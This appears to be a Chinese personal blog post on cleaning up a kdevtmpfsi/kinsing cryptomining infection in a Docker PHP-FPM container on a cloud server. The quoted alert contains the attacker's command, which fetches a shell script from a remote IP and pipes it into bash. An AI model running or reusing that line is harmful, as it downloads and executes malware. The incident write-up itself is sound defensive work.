云服务器处置挖矿病毒 kdevtmpfsi

查看告警信息

昨天刚在服务器中通过 docker 上线了一个 Nginx+PHP 站点(双容器链接),半夜时分就接收到了阿里云发来的告警信息。

恶意脚本代码执行 紧急
发生时间:2022-05-19 00:54:55
IP:*** ***
告警描述:检测模型发现您的服务器上正在执行恶意的Bash、Powershell、Python等脚本代码。

异常事件详情
命令行:curl -s http://185.14.30.35/ph.sh
进程PID:14065
进程文件名:curl
父进程ID:14063
父进程:bash
父进程文件路径:/usr/bin/bash

进程链:
-[874]  /usr/bin/containerd
    -[13606]  containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
        -[13613]  runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac/log.json --log-format json create --bundle /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac --pid-file /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac/init.pid e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac
            -[13622]  php-fpm
                -[13673]  php-fpm
                    -[14062]  sh -c [ -f "/bin/bash" ] && (curl -s http://185.14.30.35/ph.sh||wget -q -O- http://185.14.30.35/ph.sh)|bash || (curl -s http://185.14.30.35/ph2.sh||wget -q -O- http://185.14.30.35/ph2.sh)|sh
                        -[14063]  sh -c [ -f "/bin/bash" ] && (curl -s http://185.14.30.35/ph.sh||wget -q -O- http://185.14.30.35/ph.sh)|bash || (curl -s http://185.14.30.35/ph2.sh||wget -q -O- http://185.14.30.35/ph2.sh)|sh

事件说明:云安全中心检测到您的主机正在执行恶意的脚本代码(包括但不限于bash、powershell、python),请立刻排查入侵来源。如果是您的运维行为,请选择忽略。

分析恶意代码来源

基本上就是两种情况:一是外部攻破了防火墙,通过SSH或者注入执行的脚本;二是此前上线的站点中存在恶意代码。

由于我使用的是密钥文件登录而禁用了密码,基本上可以确定是本地文件的问题。

根据告警信息,提示了一个 IPv4地址的服务器。想都不用想,IP 地址肯定做了中转,一查显示“荷兰弗莱福兰”,直接略过。

更重要的是 “php-fpm” 这一提示,说明 Nginx 交由 php-fpm 解析的文件中存在问题。

进行处置

停止运行

SSH 上服务器后,top 查看有没有异常程序,发现了 CPU 满占用的进程 kdevtmpfsi 。网上搜索它其实是一个挖矿程序,由 kinsing 进程守护。

ps -ef | grep kdevtmpfsi
systemctl status [kdevtmpfsi PID]
# 若病毒进程隐藏的好,或者像我使用的是轻量级应用服务器,这一步其实看不到什么信息
ps -ef | grep kinsing

kill -9 [kdevtmpfsi PID] [kinsing PID]
# 临时强制停止服务,恶意程序会自启,要抓紧时间找到源文件

找到病毒源文件

find / -name "kdevtmpfsi"
find / -name "kinsing"

主机中搜索相关文件,发现在 /tmp/ 和类似 /var/lib/docker/ovorlay2/****/tmp/kdevtmpfsi 中找到文件。先删除能删的,无法删除的提示“无效句柄”的都在 docker 容器中。

find / -name "kdevtmpfsi" | xargs rm -rf
find / -name "kinsing" | xargs rm -rf

因 Nginx 将 PHP 文件交由 php-fpm 容器渲染,恶意挖矿程序大概率在 php-fpm 容器中。

现将上线的 PHP 文件打包备份用于之后在沙箱中分析,删除原 PHP 文件。

接下来分析 php-fpm 容器中的进程,发现确实在该容器中运行。

docker top php-fpm-rc

docker 官方上传的镜像一般没有什么问题,需要将 php-fpm 容器(连同其数据卷一同)删除。

至此,病毒理应不会再次上线。

幸亏每次上线服务前,我都会存个快照,为防止病毒没有删除干净,恢复快照重新来过。

沙箱分析

通过沙箱分析未发现有恶意代码,考虑到 kdevtmpfsi 挖矿病毒出来时间已经几年了,分析结果应该可信。说明是服务器被攻击执行的恶意代码。

检查服务器防火墙

核实服务器端口权限

官方 php-fpm 容器默认端口为 9000 ,可能攻击者因此会共计所有 9000端口开放的主机,所以需要配置访问来源规则 ***.***.***.***/0 ,或者修改为其他端口。而我使用的9000端口则是之前一个开放的访问端口,未作修改,现将端口权限修改再做测试。

posted @ 2022-05-21 13:35  Yogile  阅读(687)  评论(0编辑  收藏  举报